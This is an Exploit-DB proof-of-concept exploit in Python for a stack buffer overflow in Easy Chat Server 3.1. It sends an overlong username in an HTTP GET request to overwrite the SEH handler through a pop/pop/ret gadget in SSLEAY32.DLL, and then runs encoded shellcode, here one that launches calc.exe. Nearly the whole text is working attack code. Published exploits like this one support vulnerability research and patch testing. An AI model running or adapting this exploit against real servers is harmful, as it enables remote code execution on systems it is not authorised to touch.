Easy Chat Server 3.1 - Stack Buffer Overflow

## Exploit-DB Note: Must install to 'C:\Program Files\EFS Software\Easy Chat Server'

# Exploit Title: Easy Chat Server 3.1 stack buffer overflow

# Date: 9 May 2014

# Exploit Author: superkojiman - http://www.techorganic.com

# Vendor Homepage: http://www.echatserver.com/

# Software Link: http://www.echatserver.com/

# Version: 3.1

# Tested on: Windows 7 Enterprise SP1, English

#

# Description:

# A buffer overflow is triggered when when passing a long username.

import socket

import struct

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/

# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin

# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)

shellcode = (

"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +

"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +

"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +

"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +

"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +

"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +

"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +

"\x1c\x39\xbd"

)

# SEH overwritten at offset 207 when Easy Chat Server is

# installed in C:\Program Files\EFS Software\Easy Chat Server

payload = "A"*203

payload += "\xeb\x06\x90\x90" # short jmp to shellcode

payload += "\x1e\x0e\x01\x10" # pop/pop/ret @ 0x10010E1E SSLEAY32.DLL

payload += "\x81\xc4\xd8\xfe\xff\xff" # add esp,-128

payload += shellcode # calc.exe

payload += "D"*193

buf = (

"GET /chat.ghp?username=" + payload + "&password=&room=1&sex=1 HTTP/1.1\r\n"

"User-Agent: Mozilla/4.0\r\n"

"Host: 192.168.1.136:80\r\n"

"Accept-Language: en-us\r\n"

"Accept-Encoding: gzip, deflate\r\n"

"Referer: http://192.168.1.136\r\n"

"Connection: Keep-Alive\r\n\r\n"

)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("192.168.123.131", 80))

s.send(buf)

print s.recv(1024)